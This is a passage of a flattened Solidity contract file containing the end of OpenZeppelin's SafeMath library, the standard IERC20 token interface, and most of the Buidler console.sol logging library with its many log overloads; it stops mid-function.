/ b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @nomiclabs/buidler/console.sol // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.8.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logByte(byte p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(byte)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { 